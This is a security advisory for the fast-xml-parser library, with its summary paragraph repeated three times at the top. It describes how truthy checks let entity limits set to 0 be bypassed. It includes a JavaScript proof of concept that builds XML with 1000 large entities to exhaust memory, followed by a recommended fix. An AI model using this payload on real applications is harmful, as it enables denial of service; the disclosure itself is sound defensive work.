fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
## Summary
The `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.
## Details
The `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):
```js
// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,
```
However, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:
```js
// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
this.options.maxEntityCount && // ← 0 is falsy, skips check
entityCount >= this.options.maxEntityCount) {
throw new Error(`Entity count ...`);
}
```
```js
// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
this.options.maxEntitySize && // ← 0 is falsy, skips check
entityValue.length > this.options.maxEntitySize) {
throw new Error(`Entity "${entityName}" size ...`);
}
```
The execution flow is:
1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.
2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).
3. Attacker supplies XML with a DOCTYPE containing many large entities.
4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount && ...` — since `0` is falsy, the entire condition is `false`.
5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize && ...` — same result.
6. All entity count and size limits are bypassed; entities are parsed without restriction.
## PoC
```js
const { XMLParser } = require("fast-xml-parser");
// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 0, // should mean "zero entities allowed"
maxEntitySize: 0 // should mean "zero-length entities only"
}
});
// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
${entities}
]>
<foo>&e0;</foo>`;
// This should throw "Entity count exceeds maximum" but does not
try {
const result = parser.parse(xml);
console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
console.log("SAFE:", e.message);
}
// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 1,
maxEntitySize: 100
}
});
try {
safeParser.parse(xml);
console.log("ERROR: should have thrown");
} catch (e) {
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
}
```
**Expected output:**
```
VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)
```
## Impact
- **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely.
- **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection — the opposite of their intent. This creates a false sense of security.
- **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected.
## Recommended Fix
Replace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit:
```js
// src/xmlparser/DocTypeReader.js:30-32 — replace:
if (this.options.enabled !== false &&
this.options.maxEntityCount &&
entityCount >= this.options.maxEntityCount) {
// with:
if (this.options.enabled !== false &&
typeof this.options.maxEntityCount === 'number' &&
entityCount >= this.options.maxEntityCount) {
```
```js
// src/xmlparser/DocTypeReader.js:128-130 — replace:
if (this.options.enabled !== false &&
this.options.maxEntitySize &&
entityValue.length > this.options.maxEntitySize) {
// with:
if (this.options.enabled !== false &&
typeof this.options.maxEntitySize === 'number' &&
entityValue.length > this.options.maxEntitySize) {
```
# Workaround
If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.
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datePublished: Mar 24, 2026, 7:35:47 PM
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No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.